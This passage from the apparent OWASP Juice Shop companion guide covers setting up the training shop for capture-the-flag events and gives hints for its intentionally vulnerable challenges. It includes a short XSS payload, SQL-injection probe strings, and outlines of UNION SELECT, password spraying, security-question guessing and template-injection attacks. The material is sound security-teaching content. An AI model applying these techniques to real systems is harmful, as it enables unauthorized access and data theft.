countryMapping: ~
application:
logo: JuiceShopCTF_Logo.png
favicon: favicon_ctf.ico
showChallengeHints: false
showVersionNumber: false
showHackingInstructor: false
showGitHubLinks: false
deluxePage:
deluxeDeliveryImage: delivery_ctf.png
welcomeBanner:
showOnFirstStart: false
ctf:
showFlagsInNotifications: true
Testing customizations
To verify if your custom configuration will not break any of the challenges, you should run the
end-to-end tests via npm run protractor . If they pass, all challenges will be working fine!
Provided customizations
The following three customizations are provided out of the box by OWASP Juice Shop:
7 Minute Security: Full conversion https://7ms.us-theme for the first podcast that picked
up the Juice Shop way before it was famous!
Mozilla-CTF: Another full conversion theme harvested and refined from the Mozilla
Austin CTF-event!
The BodgeIt Store: An homage to our server-side rendered ancestor. May it rest in
JSPs!
69
Customization
CTF-mode: Keeps the Juice Shop in its default layout but disabled hints while enabling
CTF flag codes in the "challenge solved"-notifications. Refer to Hosting a CTF event to
learn more about running a CTF-event with OWASP Juice Shop.
Quiet mode: Keeps the Juice Shop in its default layout but hides all "challenge solved"-
notifications, GitHub ribbon and challenge hints.
OWASP Juice Box: If you find jo͞osbäks much easier to pronounce than jo͞osSHäp, this
customization is for you.
70
Customization
the audience.
OAuth Login
Another immersion spoiler occurs when demonstrating the Log in with Google functionality,
which will show you the application name registered on Google Cloud Platform: OWASP
Juice Shop! There is no way to convince Google to show anything else for obvious trust and
integrity reasons.
71
Customization
1. Create a replacement for OWASP Juice Shop (as it appears on Google-Login) with your
own application name. Best use application.name from your configuration.
2. Create another replacement for a complete or partial Tweet or Facebook post with some
marketing text and an actual coupon code. You can get valid coupon codes from the
OWASP Juice Shop Twitter feed: https://twitter.com/owasp_juiceshop.
72
Customization
73
Customization
74
Hosting a CTF event
75
Hosting a CTF event
OWASP Juice Shop can be run in a special configuration that allows to use it in Capture-the-
flag (CTF) events. This can add some extra motivation and fun competition for the
participants of a security training or workshop.
These codes are not displayed by default, but can be made visible by running the application
with the config/ctf.yml configuration:
76
Hosting a CTF event
npm start
On Linux you can also pass the NODE_ENV in directly in a single command
The ctf.yml configuration furthermore hides the GitHub ribbon in the top right corner of the
screen. It also hides all hints from the score board. Instead it will make the solved-labels on
the score board clickable which results in the corresponding "challenge solved!"-notification
being repeated. This can be useful in case you forgot to copy a flag code before closing the
corresponding notification.
The simplest way to do so, is by providing an alternative secret key via the CTF_KEY
environment variable:
77
Hosting a CTF event
Apart from the score-tracking server, each participant must have their own instance of
OWASP Juice Shop. As explained in the Single-user restriction section, having a shared
instance for each team is strongly discouraged, because Juice Shop is programmed as a
single-user application.
If you want to centrally host Juice Shop instances for any number of CTF participants you
find more information in section Hosting individual instances for multiple users of the
trainer's guide.
It is absolutely important that all Juice Shop instances participating in a CTF use the same
secret key to generate their CTF flag codes. The score server must be set up accordingly to
accept exactly those flag codes for solving the hacking challenges and allocating their score
to the first team/user that solved it.
As long as the flag code key is identical for all of them, it does not matter which run option
for the Juice Shop each participant uses: Local Node.js, Docker container or
Heroku/Amazon EC2 instances all work fine as they are independently running anyway!
There is no runtime dependency to the score server either, as participants simply enter the
flag code they see upon solving a challenge manually somewhere on the score server's user
interface, typically via their browser:
78
Hosting a CTF event
To install juice-shop-ctf-cli you need to have Node.js 8.x or higher installed. Simply
execute
79
Hosting a CTF event
juice-shop-ctf
The tool will now ask a series of questions. All questions have default answers available
which you can choose by simply hitting ENTER .
1. CTF framework to generate data for? Offers a selectable choice between the
supported CTF frameworks, which for v6.1.1 are
CTFd 2.x which is a very well-written and stable piece of Open Source Software.
FBCTF from Facebook which is visually more advanced though not as frequently
updated at CTFd.
2. Juice Shop URL to retrieve challenges? URL of a running Juice Shop server where
the tool will retrieve the existing challenges from via the /api/Challenges API. Defaults
to https://juice-shop.herokuapp.com which always hosts the latest official released
version of OWASP Juice Shop.
3. Secret key URL to ctf.key file? Either a secret key to use for the CTF flag codes or a
URL to a file containing such a key. Defaults to
https://raw.githubusercontent.com/bkimminich/juice-shop/master/ctf.key which is the
key file provided with the latest official OWASP Juice Shop release. See Overriding the
ctf.key for more information.
5. Insert a text hint along with each challenge? Offers a selectable choice between
No text hints will not add any hint texts to the challenges. This is the default
choice.
Free text hints will add the Challenge.hint property from the Juice Shop
database as hint to the corresponding challenge on the CTF score server. Viewing
80
Hosting a CTF event
choice.
Free hint URLs will add the Challenge.hintUrl property from the Juice Shop
The category of each challenge is identical to its category in the Juice Shop database. The
score value and optional costs for hints of each challenge are calculated by the juice-shop-
ctf-cli program as follows:
The generated output of the tool will finally be written into in the folder the program was
started in. By default the output files are named OWASP_Juice_Shop.YYYY-MM-DD.CTFd2.zip ,
OWASP_Juice_Shop.YYYY-MM-DD.CTFd.zip or OWASP_Juice_Shop.YYYY-MM-DD.FBCTF.json
Optionally you can choose the name of the output file with the --output parameter on
startup:
81
Hosting a CTF event
You can then pass this YAML file into the CLI the generator with the --config parameter:
As in interactive mode, you can also choose the name of the output file with the --output
parameter:
Running CTFd
This setup guide assumes that you use CTFd 2.x, 1.1.x or 1.2.x. To apply the generated
.zip , follow the steps describing your preferred CTFd run-mode below.
82
Hosting a CTF event
6. Select the generated .zip file and make sure only the Challenges box is ticket. Press
Import.
7. (Only for CTFd 2.0.x) Dismiss any occurring Internal Server Error alert popup after
import and restart your CTFd server.
8. (Only for CTFd 2.x) Repeat the initial admin and CTF setup from step 4. to regain
access to the CTF game. It is now pre-populated with the Juice Shop challenges.
1. Install Docker
2. Run docker pull ctfd/ctfd:<version> the retrieve tag 2.x, 1.1.x or 1.2.x
3. Execute docker run --rm -p 8000:8000 ctfd/ctfd:<version> to run 2.x, 1.1.x or 1.2.x
4. Follow the steps 5-8 from the Local server setup described above
Once you have CTFd up and running, you should see all the created data in the Challenges
tab:
83
Hosting a CTF event
84
Hosting a CTF event
85
Hosting a CTF event
86
Hosting a CTF event
Running FBCTF
87
Hosting a CTF event
Please note that Facebook does not publish any versioned releases of FBCTF. They
recommend to use the master -branch content from GitHub
(https://github.com/facebook/fbctf) in all their setup methods. There is also no official image
on Docker Hub for FBCTF.
1. Follow any of the options described in the FBCTF Quick Setup Guide.
2. Browse to your FBCTF instance UI.
3. Click the Controls tab under the Game Admin panel.
4. Choose Import Full Game and select the generate .json file.
The following screenshots were taken during a CTF event where Facebook's game server
was used. Juice Shop instances were running in a Docker cluster and individually assigned
to a participant via a load balancer.
88
Hosting a CTF event
89
Hosting a CTF event
All these platforms have one thing in common: Unless you write a dedicated
lib/generators/ -file , you have to set up the challenges inside them manually on your
own. Of course you can choose aspects like score per challenge, description etc. like you
want. For the CTF to actually work there is only one mandatory prerequisite:
The flag code for each challenge must be declared as the result of
HMAC_SHA1(ctfKey, challenge.name)
with challenge.name being the name column of the Challenges table in the Juice Shop's
underlying database. The ctfKey has been described in the Overriding the ctf.key
section above.
90
Hosting a CTF event
An iterative hash function breaks up a message into blocks of a fixed size and iterates
over them with a compression function. For example, MD5 and SHA-1 operate on 512-
bit blocks. The size of the output of HMAC is the same as that of the underlying hash
function (128 or 160 bits in the case of MD5 or SHA-1, respectively), although it can be
truncated if desired.
HMAC does not encrypt the message. Instead, the message (encrypted or not) must be
sent alongside the HMAC hash. Parties with the secret key will hash the message
again themselves, and if it is authentic, the received and computed hashes will match.2
2. https://en.wikipedia.org/wiki/Hash-based_message_authentication_code ↩
91
Challenge hunting
In case you want to look up hints for a particular challenge, the following tables lists all
challenges of the OWASP Juice Shop grouped by their difficulty and in the same order as
thery appear on the Score Board.
The challenge hints found in this release of the companion guide are compatible with v9.0.1
of OWASP Juice Shop.
92
Challenge hunting
Confidential
Access a confidential document.
Document
Five-Star
Get rid of all 5-star customer feedback.
Feedback
Forged Forge a coupon code that gives you a discount
Coupon of at least 80%.
Forged
Post some feedback in another users name.
Feedback
Forgotten
Developer Access a developer's forgotten backup file.
93
Challenge hunting
Backup
Forgotten
Access a salesman's forgotten backup file.
Sales Backup
GDPR Data
Log in with Chris' erased user account.
Erasure
GDPR Data Steal someone else's personal data without
Theft using Injection.
Perform a persisted XSS attack with <iframe
HTTP-Header
src="javascript:alert(`xss`)"> through an
XSS
HTTP header.
Imaginary Solve challenge #999. Unfortunately, this
Challenge challenge does not exist.
Dumpster dive the Internet for a leaked
password and log in to the original user
Leaked Access
account it belongs to. (Creating a new account
Logs
with the same password does not qualify as a
solution.)
Identify an unsafe product that was removed
Leaked Unsafe
from the shop and inform the shop which
Product
ingredients are dangerous.
Inform the shop about a typosquatting trick it
Legacy has been a victim of at least in v6.2.0-
Typosquatting SNAPSHOT. (Mention the exact name of the
culprit)
Login Admin Log in with the administrator's user account.
94
Challenge hunting
Privacy Policy
Prove that you actually read our privacy policy.
Inspection
Change the href of the link within the
Product OWASP SSL Advanced Forensic Tool (O-Saft)
Tampering product description into
https://owasp.slack.com.
95
Challenge hunting
96
Challenge hunting
Challenge Solutions
In case you are getting frustrated with a particular challenge, you can refer to the Challenge
solutions appendix where you find explicit instructions how to successfully exploit each
vulnerability. It is highly recommended to use this option only as a last resort. You will learn a
lot more from hacking entirely on your own or relying only on the hints in this part of the
book.
97
Finding the Score Board
1. You missed the link during the initial mapping of the application
2. There is a URL that leads to the Score Board but it is not hyperlinked to
3. Knowing it exists, you can simply guess what URL the Score Board might have.
4. Alternatively, you can try to find a reference or clue within the parts of the application
that are not usually visible in the browser
98
Injection
Injection
Injection flaws allow attackers to relay malicious code through an application to another
system. These attacks include calls to the operating system via system calls, the use of
external programs via shell commands, as well as calls to backend databases via SQL
(i.e., SQL injection). Whole scripts written in Perl, Python, and other languages can be
injected into poorly designed applications and executed. Any time an application uses
an interpreter of any type there is a danger of introducing an injection vulnerability.
Many web applications use operating system features and external programs to
perform their functions. Sendmail is probably the most frequently invoked external
program, but many other programs are used as well. When a web application passes
information from an HTTP request through as part of an external request, it must be
carefully scrubbed. Otherwise, the attacker can inject special (meta) characters,
malicious commands, or command modifiers into the information and the web
application will blindly pass these on to the external system for execution.
Injection vulnerabilities can be very easy to discover and exploit, but they can also be
extremely obscure. The consequences of a successful injection attack can also run the
entire range of severity, from trivial to complete system compromise or destruction. In
any case, the use of external calls is quite widespread, so the likelihood of an
application having an injection flaw should be considered high.1
99
Injection
Christmas
Order the Christmas special offer of 2014.
Special
Database Exfiltrate the entire DB schema definition via SQL
Schema Injection.
Log in with the (non-existing) accountant
Ephemeral
[email protected] without ever registering that
Accountant
user.
Login Admin Log in with the administrator's user account.
Login
Log in with Bender's user account.
Bender
Login Jim Log in with Jim's user account.
Let the server sleep for some time. (It has done more
NoSQL DoS
than enough hard work for you)
NoSQL All your orders are belong to us! Even the ones which
Exfiltration don't!
NoSQL
Update multiple product reviews at the same time.
Manipulation
Infect the server with juicy malware by abusing arbitrary
SSTi
command execution.
User
Retrieve a list of all user credentials via SQL Injection.
Credentials
Reconnaissance advice
Instead of trying random attacks or go through an attack pattern list, it is a good idea to find
out if and where a vulnerability exists, first. By injecting a payload that should typically break
an underlying SQL query (e.g. ' or '; ) you can analyze how the behaviour differs from
regular use. Maybe you can even provoke an error where the application leaks details about
the query structure and schema details like table or column names. Do not miss this
opportunity.
100
Injection
Blind SQL (Structured Query Language) injection is a type of SQL Injection attack that
asks the database true or false questions and determines the answer based on the
applications response. This attack is often used when the web application is configured
to show generic error messages, but has not mitigated the code that is vulnerable to
SQL injection.
When an attacker exploits SQL injection, sometimes the web application displays error
messages from the database complaining that the SQL Query's syntax is incorrect.
Blind SQL injection is nearly identical to normal SQL Injection, the only difference being
the way the data is retrieved from the database. When the database does not output
data to the web page, an attacker is forced to steal data by asking the database a
series of true or false questions. This makes exploiting the SQL Injection vulnerability
more difficult, but not impossible.4
To solve this challenge you need to order a product that is not supposed to be available any
more.
Find out how the application hides deleted products from its customers.
Try to craft an attack string that makes deleted products visible again.
You need to get the deleted product into your shopping cart and trigger the Checkout.
Neither of the above can be achieved through the application frontend and it might even
require (half-)Blind SQL Injection.
Find out which database system is in use and where it would usually store its schema
definitions.
Craft a UNION SELECT attack string to join the relevant data from any such identified
system table into the original result.
You might have to tackle some query syntax issues step-by-step, basically hopping from
one error to the next
As with Order the Christmas special offer of 2014 this cannot be achieved through the
application frontend.
101
Injection
In ths challenge you need to log in with a user that has accountant-level permissions, but
does not really exist.
The user literally needs to be ephemeral as in "lasting for only a short time".
Registering normally with the user's email address will then obviously not solve this
challenge. The Juice Shop will not even let you register as [email protected] , as
this would make the challenge unsolvable for you.
Getting the user into the database some other way will also fail to solve this challenge.
In case you somehow managed to do so, you need to restart the Juice Shop application
in order to wipe the database and make the challenge solvable again.
The fact that this challenge is in the Injection category should already give away the
intended approach.
102
Injection
What would a vulnerable web application be without an administrator user account whose
(supposedly) privileged access rights a successful hacker can abuse?
The challenge description probably gave away what form you should attack.
If you happen to know the email address of the admin already, you can launch a
targeted attack.
You might be lucky with a dedicated attack pattern even if you have no clue about the
admin email address.
If you harvested the admin's password hash, you can of course try to attack that instead
of using SQL Injection.
Alternatively you can solve this challenge as a combo with the Log in with the
administrator's user credentials without previously changing them or applying SQL
Injection challenge.
The challenge description probably gave away what form you should attack.
You need to know (or smart-guess) Bender's email address so you can launch a
targeted attack.
In case you try some other approach than SQL Injection, you will notice that Bender's
password hash is not very useful.
The challenge description probably gave away what form you should attack.
You need to know (or smart-guess) Jim's email address so you can launch a targeted
attack.
If you harvested Jim's password hash, you can try to attack that instead of using SQL
Injection.
103
Injection
NoSQL database calls are written in the application's programming language, a custom
API call, or formatted according to a common convention (such as XML, JSON, LINQ,
etc). Malicious input targeting those specifications may not trigger the primarily
application sanitization checks. For example, filtering out common HTML special
characters such as < > & ; will not prevent attacks against a JSON API, where
special characters include / { } : .
There are now over 150 NoSQL databases available for use within an application,
providing APIs in a variety of languages and relationship models. Each offers different
features and restrictions. Because there is not a common language between them,
example injection code will not apply across all NoSQL databases. For this reason,
anyone testing for NoSQL injection attacks will need to familiarize themselves with the
syntax, data model, and underlying programming language in order to craft specific
tests.
NoSQL injection attacks may execute in different areas of an application than traditional
SQL injection. Where SQL injection would execute within the database engine, NoSQL
variants may execute during within the application layer or the database layer,
depending on the NoSQL API used and data model. Typically NoSQL injection attacks
will execute where the attack string is parsed, evaluated, or concatenated into a NoSQL
API call.2
This challenge is about giving the server the chance to catch a breath by putting it to sleep
for a while, making it essentially a stripped-down denial-of-service attack challenge.
As stated in the Architecture overview, OWASP Juice Shop uses a MongoDB derivate
as its NoSQL database.
The categorization into the NoSQL Injection category totally gives away the expected
attack vector for this challenge. Trying any others will not solve the challenge, even if
104
Injection
In this challenge you must exploit a Server-side Template Injection (SSTi) to "infect" the
server with a specially crafted "malware".
You can find the juicy malware via a very obvious Google search or by stumbling into a
very ill-placed quarantine folder with the necessary URLs in it.
Making the server download and execute the malware is key to solving this challenge.
For this challenge you do not have to reverse engineer the malware in any way. That
will be required later to solve Request a hidden resource on server through server.
105
Injection
Server-side template injection occurs when user input is unsafely embedded into a
server-side template, allowing users to inject template directives. Using malicious
template directives, an attacker may be able to execute arbitrary code and take full
control of the web server.
The severity of this issue varies depending on the type of template engine being used.
Template engines range from being trivial to almost impossible to exploit. The following
steps should be used when attempting to develop an exploit:
Template injection vulnerabilities can be very serious and can lead to complete
compromise of the application's data and functionality, and often of the server that is
hosting the application. It may also be possible to use the server as a platform for
further attacks against other systems. On the other hand, some template injection
vulnerabilities may pose no significant security risk. 5
Try to find an endpoint where you can influence data being retrieved from the server.
Craft a UNION SELECT attack string to join data from another table into the original result.
You might have to tackle some query syntax issues step-by-step, basically hopping from
one error to the next
As with Order the Christmas special offer of 2014 and Exfiltrate the entire DB schema
definition via SQL Injection this cannot be achieved through the application frontend.
1
. https://www.owasp.org/index.php/Injection_Flaws ↩
2
. https://www.owasp.org/index.php/Testing_for_NoSQL_injection ↩
3. https://www.us-cert.gov/ncas/tips/ST04-015 ↩
4. https://www.owasp.org/index.php/Blind_SQL_Injection ↩
5. https://portswigger.net/kb/issues/00101080_server-side-template-injection ↩
106
Injection
107
Broken Authentication
Broken Authentication
108
Broken Authentication
This challenge is not about any technical vulnerability. Instead it is about finding out the
answer to user Bjoern's chosen security question and use it to reset the password of his
OWASP account.
Many website registrations use security questions for both password retrieval/reset and
sign-in verification. Some also ask the same security questions when users call on the
phone. Security questions are one method to verify the user and stop unauthorized
access. But there are problems with security questions. Websites may use poor
security questions that may have negative results:
The user can’t accurately remember the answer or the answer changed, The question
doesn’t work for the user, The question is not safe and could be discovered or guessed
by others. It is essential that we use good questions. Good security questions meet five
criteria. The answer to a good security question is:
It is difficult to find questions that meet all five criteria which means that some questions
are good, some fair, and most are poor. In reality, there are few if any GOOD security
questions. People share so much personal information on social media, blogs, and
websites, that it is hard to find questions that meet the criteria above. In addition, many
questions are not applicable to some people; for example, what is your oldest child’s
nickname – but you don’t have a child.1
Hints to the answer to Bjoern's question can be found by looking him up on the Internet.
More precisely, Bjoern might have accidentally ( ) doxxed himself by mentioning his
security answer on at least one occasion where a camera was running.
Brute forcing the answer might be very well possible with a sufficiently extensive list of
common pet names.
109
Broken Authentication
The methods employed to acquire this information include searching publicly available
databases and social media websites (like Facebook), hacking, and social engineering.
It is closely related to Internet vigilantism and hacktivism.
Doxing may be carried out for various reasons, including to aid law enforcement,
business analysis, risk analytics, extortion, coercion, inflicting harm, harassment, online
shaming, and vigilante justice.2
In previous releases of OWASP Juice Shop this challenge was wrongly accused of
being based on Cross-Site Request Forgery).
It might also have been put into the Improper Input Validation category.
Bender's current password is so strong that brute force, rainbow table or guessing
attacks will probably not work.
Trying out the Request Data Erasure functionality might be interesting, but cannot help
you solve this challenge in real time.
If you have solved the challenge Retrieve a list of all user credentials via SQL Injection
you might have already retrieved some information about how the Juice Shop "deletes"
110
Broken Authentication
If you do not see the Log in with Google button, do not despair! The hostname your Juice
Shop is running on is simply not configured in the OAuth integration with Google. The
OAuth-related challenges are still solvable! It might just take a little bit more detective work
to find out how an OAuth login is handled.
You can always use the official demo instance at http://demo.owasp-juice.shop to play with
Google login and learn how it works there, then apply what you learned on your local
instance.
There are essentially two ways to light up this challenge in green on the score board:
In case you, dear reader, happen to be Bjoern Kimminich, just log in with your
Google account to automatically solve this challenge! Congratulations!
Everybody else might want to take detailed look into how the OAuth login with
Google is implemented.
It could bring you some insight to register with your own Google account and analyze
closely what happens behind the scenes.
The security flaw behind this challenge is 100% Juice Shop's fault and 0% Google's.
The unremarkable side note without hacking his Google account in the challenge
description is not a joke. Please do not try to break into Bjoern's (or anyone else's) Google
account. This would be a criminal act.
The challenge description already suggests that the flaw is to be found somewhere in
the OAuth 2.0 login process.
While it is also possible to use SQL Injection to log in as the CISO, this will not solve the
challenge.
111
Broken Authentication
If you have no idea who Bender is, please put down this book right now and watch the
first episodes of Futurama before you come back.
Unexpectedly, Bender also chose to answer his chosen question truthfully.
Hints to the answer to Bender's question can be found in publicly available information
on the Internet.
If a seemingly correct answer is not accepted, you might just need to try some
alternative spelling.
Brute forcing the answer should be next to impossible.
Other than with his OWASP account, Bjoern was a bit less careless with his choice of
security and answer to his internal account.
Bjoern chose to answer his chosen question truthfully but tried to make it harder for
attackers by applying sort of a historical twist.
Again, hints to the answer to Bjoern's question can be found by looking him up on the
112
Broken Authentication
Internet.
Brute forcing the answer should be next to impossible.
The hardest part of this challenge is actually to find out who Jim actually is
Jim picked one of the worst security questions and chose to answer it truthfully
As Jim is a celebrity, the answer to his question is quite easy to find in publicly available
information on the internet
Even brute forcing the answer should be possible with the right kind of word list
In the Juice Shop one customer was very security-aware and set up 2FA for his account. He
goes by the hilarious username wurstbrot.5
As always, first learn how the feature under attack is used and behaves under normal
conditions.
Make sure you understand how 2FA with TOTP (time-based one-time password) works
and which part of it is the critically sensitive one.
Solving the challenge Retrieve a list of all user credentials via SQL Injection before
tackling this one will definitely help. But it will not carry you all the way.
113
Broken Authentication
1. http://goodsecurityquestions.com ↩
2. https://en.wikipedia.org/wiki/Doxing ↩
3. https://en.wikipedia.org/wiki/Rainbow_table ↩
4. https://en.wikipedia.org/wiki/Multi-factor_authentication ↩
5. https://www.dict.cc/?s=wurstbrot ↩
114
Sensitive Data Exposure
Access Log Gain access to any access log file of the server.
Confidential
Access a confidential document.
Document
Perform an unwanted information disclosure by accessing
Email Leak
data cross-domain.
Forgotten
Developer Access a developer's forgotten backup file.
Backup
Forgotten
Sales Access a salesman's forgotten backup file.
Backup
GDPR Data
Steal someone else's personal data without using Injection.
Theft
Dumpster dive the Internet for a leaked password and log
Leaked
in to the original user account it belongs to. (Creating a
Access
new account with the same password does not qualify as a
Logs
solution.)
Leaked
Identify an unsafe product that was removed from the shop
Unsafe
and inform the shop which ingredients are dangerous.
Product
Log in with Amy's original user credentials. (This could take
Login Amy 93.83 billion trillion trillion centuries to brute force, but
luckily she did not read the "One Important Final Note")
115
Sensitive Data Exposure
An access log is a list of all the requests for individual files that people have requested
from a Web site. These files will include the HTML files and their imbedded graphic
images and any other associated files that get transmitted. The access log (sometimes
referred to as the "raw data") can be analyzed and summarized by another program.
The number of visitors (unique first-time requests) to a home page The origin of the
visitors in terms of their associated server's domain name (for example, visitors from
.edu, .com, and .gov sites and from the online services) How many requests for each
page at the site, which can be presented with the pages with most requests listed first
Usage patterns in terms of time of day, day of week, and seasonally Access log
keepers and analyzers can be found as shareware on the Web or may come with a
Web server.1
The Juice Shop application server is writing access logs, which can contain interesting
information that competitors might also be interested in.
Normally, server log files are written to disk on server side and are not accessible from
the outside.
Which raises the question: Who would want a server access log to be accessible
through a web application?
One particular file found in the folder you might already have found during the Access a
confidential document challenge might give you an idea who is interested in such a
public exposure.
Drilling down one level into the file system might not be sufficient.
Analyze and tamper with links in the application that deliver a file directly.
The file you are looking for is not protected in any way. Once you found it you can also
access it.
116
Sensitive Data Exposure
Try to find and attack an endpoint that responds with user information. SQL Injection is
not the solution here.
What ways are there to access data from a web application cross-domain?
This challenge uses an old way which is no longer recommended.
Analyze and tamper with links in the application that deliver a file directly.
The file is not directly accessible because a security mechanism prevents access to it.
You need to trick the security mechanism into thinking that the file has a valid file type.
For this challenge there is only one approach to pull this trick.
Analyze and tamper with links in the application that deliver a file directly.
The file is not directly accessible because a security mechanism prevents access to it.
You need to trick the security mechanism into thinking that the file has a valid file type.
You should not try to steal data from a "vanilla" user who never even ordered something
at the shop.
As everything about this data export functionality happens on the server-side, it won't be
possible to just tamper with some HTTP requests to solve this challenge.
Inspecting various server responses which contain user-specific data might give you a
clue about the mistake the developers made.
117
Sensitive Data Exposure
The company behind the Juice Shop failed miserably at implementing any data loss
prevention measures for itself. This challenge simulates a seemingly harmless data leak that
- upon closer inspection - subsequently allows an account takeover.
The terms "data loss" and "data leak" are related and are often used interchangeably.
Data loss incidents turn into data leak incidents in cases where media containing
sensitive information is lost and subsequently acquired by an unauthorized party.
However, a data leak is possible without losing the data on the originating side. Other
terms associated with data leakage prevention are information leak detection and
prevention (ILDP), information leak prevention (ILP), content monitoring and filtering
(CMF), information protection and control (IPC) and extrusion prevention system (EPS),
as opposed to intrusion prevention system. 2
As the challenge name implies, your task is to find some leaked access logs which
happen to have a fairly common format.
A very popular help platform for developers might contain breadcrumbs towards solving
this challenge
The actual log file was copied & paste onto a platform often used to share data quickly
with externals or even just internal peers.
Once you found and harvested the important piece of information from the log, you
could employ a technique called Password Spraying to solve this challenge.
Password spraying refers to the attack method that takes a large number of usernames
and loops them with a single password. We can use multiple iterations using a number
of different passwords, but the number of passwords attempted is usually low when
compared to the number of users attempted. This method avoids password lockouts,
and it is often more effective at uncovering weak passwords than targeting specific
users.5
You must first identify the "unsafe product" which ist not available any more in the shop.
Solving the Order the Christmas special offer of 2014 challenge might give it to you as
by-catch.
118
Sensitive Data Exposure
The actual data you need to solve this challenge was leaked on the same platform that
was involved in Dumpster dive the Internet for a leaked password and log in to the
original user account it belongs to
Google is a particularly good accomplice in this challenge.
As with so many other characters from Futurama this challenge is of course about
logging in as Amy from that show. In the picture above you see her together with her
alien husband Kif.
The challenge description contains a few sentences which give away some information
how Amy decided to strengthen her password.
Obviously, Amy - being a little dimwitted - did not put nearly enough effort and creativity
into the password selection process.
MC SafeSearch is a rapper who produced the song "Protect Ya' Passwordz" which
explains password & sensitive data protection very nicely.
After watching the music video of this song, you should agree that even is a slightly
exaggerated difficulty rating for this challenge.
119
Sensitive Data Exposure
The misplaced signature file is actually a rule file for Sigma, a generic signature format for
SIEM systems:
Sigma is a generic and open signature format that allows you to describe relevant log
events in a straight forward manner. The rule format is very flexible, easy to write and
applicable to any type of log file. The main purpose of this project is to provide a
structured form in which researchers or analysts can describe their once developed
detection methods and make them shareable with others.
Sigma is for log files what Snort is for network traffic and YARA is for files.4
If you solved one of the other four file access challenges, you already know where the
SIEM signature file is located
Simply reuse the trick that already worked for the files above
120
Sensitive Data Exposure
The product you might want to give a closer look is the OWASP Juice Shop Logo (3D-
printed)
For your inconvenience the blueprint was not misplaced into the same place like so
many others forgotten files covered in this chapter
ℹ If you are running the Juice Shop with a custom theme and product inventory, the product
to inspect will be a different one. The tooltip on the Score Board will tell you which one to
look into.
1
. https://searchsecurity.techtarget.com/definition/access-log ↩
2. https://en.wikipedia.org/wiki/Data_loss_prevention_software ↩
3. https://www.gartner.com/it-glossary/security-information-and-event-management-
siem/ ↩
4. https://github.com/Neo23x0/sigma#what-is-sigma ↩
5. https://resources.infosecinstitute.com/password-spraying/ ↩
121
XML External Entities (XXE)
The XML 1.0 standard defines the structure of an XML document. The standard defines
a concept called an entity, which is a storage unit of some type. There are a few
different types of entities, external general/parameter parsed entity often shortened to
external entity, that can access local or remote content via a declared system identifier.
The system identifier is assumed to be a URI that can be dereferenced (accessed) by
the XML processor when processing the entity. The XML processor then replaces
occurrences of the named external entity with the contents dereferenced by the system
identifier. If the system identifier contains tainted data and the XML processor
dereferences this tainted data, the XML processor may disclose confidential information
normally not accessible by the application. Similar attack vectors apply the usage of
external DTDs, external stylesheets, external schemas, etc. which, when included,
allow similar external resource inclusion style attacks.
Attacks can include disclosing local files, which may contain sensitive data such as
passwords or private user data, using file: schemes or relative paths in the system
identifier. Since the attack occurs relative to the application processing the XML
document, an attacker may use this trusted application to pivot to other internal
systems, possibly disclosing other internal content via http(s) requests or launching a
CSRF attack to any unprotected internal services. In some situations, an XML
processor library that is vulnerable to client-side memory corruption issues may be
exploited by dereferencing a malicious URI, possibly allowing arbitrary code execution
under the application account. Other attacks can access local resources that may not
stop returning data, possibly impacting application availability if too many threads or
processes are not released.
Note that the application does not need to explicitly return the response to the attacker
for it to be vulnerable to information disclosures. An attacker can leverage DNS
information to exfiltrate data through subdomain names to a DNS server that he/she
controls.1
122
XML External Entities (XXE)
XXE DoS Give the server something to chew on for quite a while.
ℹ Please note that both XXE challenges described below are not available when running the
Juice Shop in either a Docker container or on a Heroku dyno! Certain aggressive attacks
against the underlying XML parser caused the process to die from "Segmentation Fault"
( segfault ) errors. This happens despite the fact that the parsing actually happens in a
sandbox with a timeout. While it is unfortunate to not have XXE challenges on containerized
environments, this somewhat nicely shows how incredibly dangerous ill-configured XML
parsers actually are.
You already found the leverage point for this challenge if you solved Use a deprecated
B2B interface that was not properly shut down.
This challenge sounds a lot harder than it actually is, which amplifies how bad the
underlying vulnerability is.
Doing some research on typical XEE attack patterns basically gives away the solution
for free.
The leverage point for this is obviously the same as for the XXE Tier 1 challenge above.
You can only solve this challenge by keeping the server busy for >2sec with your attack.
The effectiveness of attack payloads for this challenge might depend on the operating
system the Juice Shop is running on.
1
. https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Processing ↩
123
Improper Input Validation
Register as an ordinary user to learn what API endpoints are involved in this use case
Think of the simplest possible implementations of a distinction between regular users
and administrators
Look for clues about the past campaign or holiday event somewhere in the application
124
Improper Input Validation
You literally need to make the shop owe you any amount of money
Investigate the shopping basket closely to understand how it prevents you from creating
orders that would fulfil the challenge
The obvious repetition in the User Registration form is the Repeat Password field
Try to register with either an empty or different value in Repeat Password
You can solve this challenge by cleverly interacting with the UI or bypassing it altogether
First you should try to understand how the file upload is actually handled on the client
and server side
With this understanding you need to find a "weak spot" in the right place and have to
craft an exploit for it
If you solved the Upload a file larger than 100 kB challenge, you should try to apply the
same solution here
125
Improper Input Validation
Before you invest time bypassing the API, you might want to play around with the UI a
bit
1. https://cwe.mitre.org/data/definitions/20.html ↩
126
Broken Access Control
Privilege escalation means a user receives privileges they are not entitled to. These
privileges can be used to delete files, view private information, or install unwanted
programs such as viruses. It usually occurs when a system has a bug that allows
security to be bypassed or, alternatively, has flawed design assumptions about how it
will be used. Privilege escalation occurs in two forms:
127
Broken Access Control
Admin
Access the administration section of the store.
Section
Easter
Find the hidden easter egg.
Egg
Five-Star
Get rid of all 5-star customer feedback.
Feedback
Forged
Post some feedback in another users name.
Feedback
Knowing it exists, you can simply guess what URL the admin section might have.
Alternatively, you can try to find a reference or clue within the parts of the application
that are not usually visible in the browser
It is probably just slightly harder to find and gain access to than the score board link
There is some access control in place, but there are at least three ways to bypass it.
If you solved one of the other four file access challenges, you already know where the
easter egg is located
128
Broken Access Control
Simply reuse the trick that already worked for the files above
When you open the easter egg file, you might be a little disappointed, as the developers
taunt you about not having found the real easter egg! Of course finding that is a follow-up
challenge to this one.
Nothing happens when you try to delete feedback entries? Check the JavaScript
console for errors!
This challenge can be solved via the user interface or by intercepting the
communication with the RESTful backend.
To find the client-side leverage point, closely analyze the HTML form used for feedback
submission.
The backend-side leverage point is similar to some of the XSS challenges found in
OWASP Juice Shop.
This challenge can be solved by using developers tool of your browser or with tools like
postman.
Analyze the form used for review submission and try to find a leverage point.
This challenge is pretty similar to Post some feedback in another users name challenge.
129
Broken Access Control
View another user's shopping basket was only about spying out other customers. For this
challenge you need to get your hands dirty by putting a product into someone else's basket
that cannot be already in there!
Check the HTTP traffic while placing products into your own shopping basket to find a
leverage point.
